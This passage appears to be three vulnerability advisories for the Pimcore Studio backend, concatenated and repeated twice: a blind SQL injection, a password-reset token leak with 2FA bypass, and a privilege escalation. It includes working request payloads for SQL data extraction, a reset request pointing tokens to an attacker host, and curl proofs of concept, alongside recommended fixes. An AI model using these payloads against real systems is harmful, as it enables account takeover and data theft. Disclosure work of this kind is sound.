• GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
• MySQL general query log confirms injected SQL reaches the database
• The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
• Package: pimcore/studio-backend-bundle

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

• Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
• Package: pimcore/studio-backend-bundle
• Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

• LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
• ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

• Admin password hashes (users.password) for offline cracking
• Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
• Session data for session hijacking
• All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

• POST /pimcore-studio/api/website-settings
• POST /pimcore-studio/api/notifications
• POST /pimcore-studio/api/recycle-bin
• POST /pimcore-studio/api/redirects
• POST /pimcore-studio/api/translations/{domain}
• POST /pimcore-studio/api/quantity-value/units
• POST /pimcore-studio/api/properties
• POST /pimcore-studio/api/classification-store/{storeId}/keys
• POST /pimcore-studio/api/classification-store/{storeId}/groups
• POST /pimcore-studio/api/classification-store/{storeId}/collections
• GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
• MySQL general query log confirms injected SQL reaches the database
• The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
• Package: pimcore/studio-backend-bundle

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

• Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
• Package: pimcore/studio-backend-bundle
• Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

• LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
• ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

• Admin password hashes (users.password) for offline cracking
• Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
• Session data for session hijacking
• All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

• POST /pimcore-studio/api/website-settings
• POST /pimcore-studio/api/notifications
• POST /pimcore-studio/api/recycle-bin
• POST /pimcore-studio/api/redirects
• POST /pimcore-studio/api/translations/{domain}
• POST /pimcore-studio/api/quantity-value/units
• POST /pimcore-studio/api/properties
• POST /pimcore-studio/api/classification-store/{storeId}/keys
• POST /pimcore-studio/api/classification-store/{storeId}/groups
• POST /pimcore-studio/api/classification-store/{storeId}/collections
• GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

